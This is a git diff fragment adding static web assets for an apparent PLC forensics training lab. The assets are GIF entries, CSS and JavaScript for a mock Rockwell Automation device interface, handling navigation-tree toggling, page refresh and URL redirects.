b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/refresh.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/refresh.js new file mode 100644 index 000000000..7c96eeffe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/msgconnect_files/refresh.js @@ -0,0 +1,19 @@ +function jsRefresh() +{ + parent.refreshTime = document.getElementById("refresh").value; + if (parent.refreshTime != 0) + document.location.reload(); +} + +function refreshInit() +{ + if (eval("typeof(parent.refreshTime)") == 'undefined') + parent.refreshTime = document.getElementById('refresh').value; + else + document.getElementById('refresh').value = parent.refreshTime; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') + parent.window.clearTimeout(parent.timeoutPntr); + + parent.timeoutPntr = parent.window.setTimeout("frames.home.jsRefresh();", (parent.refreshTime * 1000)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/msgconnect_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/navtree/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/navtree/navtree.html new file mode 100644 index 000000000..20f8a529b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/navtree/navtree.html @@ -0,0 +1,260 @@ + + + + + + +Rockwell Automation Tree Navigation + + + + + + + + + + + + + + + + +
+ + + +
+ + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network.html new file mode 100644 index 000000000..c35653971 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/network_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= 